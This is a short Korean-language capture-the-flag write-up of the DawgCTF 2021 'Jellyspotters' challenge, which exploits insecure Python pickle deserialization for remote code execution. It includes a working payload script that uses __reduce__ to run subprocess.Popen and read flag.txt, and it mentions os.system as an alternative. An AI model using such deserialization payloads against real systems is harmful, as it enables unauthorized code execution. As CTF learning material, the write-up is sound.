[DawgCTF 2021] :pwn: Jellyspotters Write-Up

두비니

·

2021. 5. 18. 17:15

 

 

 

Jellyspotters - 100pts

 

 

 

Description

 

 

 

Tag

pwnable, pickle, python

 

 

 

Problem Analysis

그림을 그리는 프로그램이네용

 

 

대충 이런 프로그램이고 이것저것 해봤는데

 

 

Pickle을 사용한다는 것을 알 수 있군요

Pickle은 취약점이 발생합니다. 글 첨부합니다.

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

 

Exploiting Python pickles

How unpickling untrusted data can lead to remote code execution.

davidhamann.de

 

그럼 이걸 가지고 RCE를 해봅시당

 

 

Exploit

 

자 기본적으로 pickle의 취약점은 __reduce__ 메서드를 부를 때, 리턴에 함수명 및 인자를 작성해놓으면, 나중에 load할 때 함수가 아예 실행되버린다는 것입니다.

그럼 이 점을 이용하면 되겠죠?

 

추가로 한가지 더 생각할 부분이 있다면 base64 decoding을 한 뒤에 받는 걸 볼 수 있기 때문에, 결과값을 base64 encoding하고 받으면 좋겠네용.

 

그래서 다음과 같이 코드를 작성했습니다.

 

import subprocess
import base64
import pickle

class Exploit(object):
    def __reduce__(self):
        return (subprocess.Popen, (('cat', 'flag.txt'),))

print(base64.b64encode(pickle.dumps(Exploit())))

 

저는 subprocess.Popen을 사용했는데, 그냥 os.system()사용해도 전혀 상관이 없습니다.

 

 

굳굳